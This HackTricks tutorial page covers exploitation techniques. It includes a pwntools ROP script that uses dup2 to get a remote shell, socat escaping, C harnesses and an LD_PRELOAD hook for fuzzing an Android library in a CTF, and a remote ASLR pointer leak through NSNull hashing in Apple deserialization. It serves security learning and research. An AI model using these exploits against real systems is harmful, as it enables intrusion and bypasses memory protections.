Common Exploiting Problems
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
FDs in Remote Exploitation
When sending an exploit to a remote server that calls system('/bin/sh') for example, this will be executed in the server process ofc, and /bin/sh will expect input from stdin (FD: 0) and will print the output in stdout and stderr (FDs 1 and 2). So the attacker won’t be able to interact with the shell.
A way to fix this is to suppose that when the server started it created the FD number 3 (for listening) and that then, your connection is going to be in the FD number 4. Therefore, it’s possible to use the syscall dup2 to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it’ll make feasible to contact the shell once it’s executed.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Note that socat already transfers stdin and stdout to the socket. However, the pty mode include DELETE characters. So, if you send a \x7f ( DELETE -)it will delete the previous character of your exploit.
In order to bypass this the escape character \x16 must be prepended to any \x7f sent.
Here you can find an example of this behaviour.
Android AArch64 shared-library fuzzing & LD_PRELOAD hooking
When an Android app ships only a stripped AArch64 .so, you can still fuzz exported logic directly on-device without rebuilding the APK. A practical workflow:
- Locate callable entry points.
objdump -T libvalidate.so | grep -E "validate"quickly lists exported functions. Decompilers (Ghidra, IDA, BN) reveal the real signature, e.g.int validate(const uint8_t *buf, uint64_t len). - Write a standalone harness. Load a file, keep the buffer alive, and call the exported symbol exactly as the app would. Cross-compile with the NDK (e.g.
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
Minimal file-driven harness
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
extern int validate(const uint8_t *buf, uint64_t len);
int main(int argc, char **argv) {
if (argc < 2) return 1;
int fd = open(argv[1], O_RDONLY);
if (fd < 0) return 1;
struct stat st = {0};
if (fstat(fd, &st) < 0) return 1;
uint8_t *buffer = malloc(st.st_size + 1);
read(fd, buffer, st.st_size);
close(fd);
int ret = validate(buffer, st.st_size);
free(buffer);
return ret;
}
- Reconstruct the expected structure. Error strings and comparisons in Ghidra showed the function parsed strict JSON with constant keys (
magic,version, nestedroot.children.*) and arithmetic checks (e.g.,value * 2 == 84⇒valuemust be42). Feeding syntactically valid JSON that progressively satisfies each branch lets you map the schema without instrumentation. - Bypass anti-debug to leak secrets. Because the
.soimportssnprintf, override it withLD_PRELOADto dump sensitive format strings even when breakpoints are blocked:
Minimal snprintf leak hook
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);
int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");
va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}
LD_PRELOAD=./hook.so ./validate_harness payload.json exfiltrates the internal flag and confirms the crash oracle without patching the binary.
5. Shrink the fuzz space. Disassembly exposed an XOR key reused across the flag comparison, meaning the first seven bytes of flag were known. Only fuzz the nine unknown bytes.
6. Embed fuzz bytes inside a valid JSON envelope. The AFL harness reads exactly nine bytes from stdin, copies them into the flag suffix, and hard-codes every other field (constants, tree depths, arithmetic preimage). Any malformed read simply exits, so AFL spends cycles on meaningful testcases:
Minimal AFL harness
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
extern int validate(unsigned char *bytes, size_t len);
#define FUZZ_SIZE 9
int main(void) {
uint8_t blob[FUZZ_SIZE];
if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
char suffix[FUZZ_SIZE + 1];
memcpy(suffix, blob, FUZZ_SIZE);
suffix[FUZZ_SIZE] = '\0';
char json[512];
int len = snprintf(json, sizeof(json),
"{\"magic\":16909060,\"version\":1,\"padding\":0,\"flag\":\"MHL{827b07c%s}\"," \
"\"root\":{\"type\":16,\"level\":3,\"num_children\":1,\"children\":[" \
"{\"type\":32,\"level\":2,\"num_children\":1,\"subchildren\":[" \
"{\"type\":48,\"level\":1,\"num_children\":1,\"leaves\":[" \
"{\"type\":64,\"level\":0,\"reserved\":0,\"value\":42}]}}]}}",
suffix);
if (len <= 0 || (size_t)len >= sizeof(json)) return 0;
validate((unsigned char *)json, len);
return 0;
}
- Run AFL with the crash-as-success oracle. Any input that satisfies every semantic check and guesses the correct nine-byte suffix triggers the deliberate crash; those files land in
output/crashesand can be replayed through the simple harness to recover the secret.
This workflow lets you triage anti-debug-protected JNI validators quickly, leak secrets when needed, then fuzz only the meaningful bytes, all without touching the original APK.
Image/Media Parsing Exploits (DNG/TIFF/JPEG)
Malicious camera formats often ship their own bytecode (opcode lists, map tables, tone curves). When a privileged decoder fails to bound-check metadata-derived dimensions or plane indices, those opcodes become attacker-controlled read/write primitives that can groom the heap, pivot pointers, or even leak ASLR. Samsung’s in-the-wild Quram exploit is a recent example of chaining a DeltaPerColumn bounds bug, heap spraying via skipped opcodes, vtable remapping, and a JOP chain to system().
Abusing Android Media Pipelines Image Parsers
Pointer-Keyed Hash Table Pointer Leaks on Apple Serialization
Requirements & attack surface
- A service accepts attacker-controlled property lists (XML or binary) and calls
NSKeyedUnarchiver.unarchivedObjectOfClasseswith a permissive allowlist (e.g.,NSDictionary,NSArray,NSNumber,NSString,NSNull). - The resulting objects are reused and later serialized again with
NSKeyedArchiver(or iterated in deterministic bucket order) and sent back to the attacker. - Some key type in the containers uses pointer values as its hash code. Before March 2025,
CFNull/NSNullfell back toCFHash(object) == (uintptr_t)object, and deserialization always returned the shared-cache singletonkCFNull, giving a stable kernel-shared pointer without memory corruption or timing.
Controllable hashing primitives
- Pointer-based hashing:
CFNull’sCFRuntimeClasslacks a hash callback, soCFBasicHashuses the object address as the hash. Because the singleton lives at a fixed shared-cache address until reboot, its hash is stable across processes. - Attacker-controlled hashes: 32-bit
NSNumberkeys are hashed through_CFHashInt, which is deterministic and attacker-controllable. Picking specific integers lets the attacker choosehash(number) % num_bucketsfor any table size. NSDictionaryimplementation: Immutable dictionaries embed aCFBasicHashwith a prime bucket count chosen from__CFBasicHashTableSizes(e.g., 23, 41, 71, 127, 191, 251, 383, 631, 1087). Collisions are handled with linear probing (__kCFBasicHashLinearHashingValue), and serialization walks buckets in numeric order; therefore, the order of serialized keys encodes the bucket index that each key finally occupied.
Encoding bucket indices into serialization order
By crafting a plist that materializes a dictionary whose buckets alternate between occupied and empty slots, the attacker constrains where linear probing can place NSNull. For a 7-bucket example, filling even buckets with NSNumber keys produces:
bucket: 0 1 2 3 4 5 6
occupancy: # _ # _ # _ #
During deserialization the victim inserts the single NSNull key. Its initial bucket is hash(NSNull) % 7, but probing advances until hitting one of the open indices {1,3,5}. The serialized key order reveals which slot was used, disclosing whether the pointer hash modulo 7 lies in {6,0,1}, {2,3}, or {4,5}. Because the attacker controls the original serialized order, the NSNull key is emitted last in the input plist so the post-reserialization ordering is solely a function of bucket placement.
Resolving exact residues with complementary tables
A single dictionary only leaks a range of residues. To determine the precise value of hash(NSNull) % p, build two dictionaries per prime bucket size p: one with even buckets pre-filled and one with odd buckets pre-filled. For the complementary pattern (_ # _ # _ # _), the empty slots (0,2,4,6) map to residue sets {0}, {1,2}, {3,4}, {5,6}. Observing the serialized position of NSNull in both dictionaries narrows the residue to a single value because the intersection of the two candidate sets yields a unique r_i for that p.
The attacker bundles all dictionaries inside an NSArray, so a single deserialize → serialize round trip leaks residues for every chosen table size.
Reconstructing the 64-bit shared-cache pointer
For each prime p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087}, the attacker recovers hash(NSNull) ≡ r_i (mod p_i) from the serialized ordering. Applying the Chinese Remainder Theorem (CRT) with the extended Euclidean algorithm yields:
Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64
so the combined residue uniquely equals the 64-bit pointer to kCFNull. The Project Zero PoC iteratively combines congruences while printing intermediate moduli to show convergence toward the true address (0x00000001eb91ab60 on the vulnerable build).
Practical workflow
- Generate crafted input: Build the attacker-side XML plist (two dictionaries per prime,
NSNullserialized last) and convert it to binary format.clang -o attacker-input-generator attacker-input-generator.c ./attacker-input-generator > attacker-input.plist plutil -convert binary1 attacker-input.plist - Victim round trip: The victim service deserializes with
NSKeyedUnarchiver.unarchivedObjectOfClassesusing the allowed classes set{NSDictionary, NSArray, NSNumber, NSString, NSNull}and immediately re-serializes withNSKeyedArchiver. - Residue extraction: Converting the returned plist back to XML reveals the dictionary key ordering. A helper such as
extract-pointer.creads the object table, determines the index of the singletonNSNull, maps each dictionary pair back to its bucket residue, and solves the CRT system to recover the shared-cache pointer. - Verification (optional): Compiling a tiny Objective-C helper that prints
CFHash(kCFNull)confirms the leaked value matches the real address.
No memory safety bug is required—simply observing serialization order of pointer-keyed structures yields a remote ASLR bypass primitive.
Related pages
Common Exploiting Problems Unsafe Relocation Fixups
Reversing Tools & Basic Methods
References
- FD duplication exploit example
- Socat delete-character behaviour
- FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library
- Pointer leaks through pointer-keyed data structures (Project Zero)
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


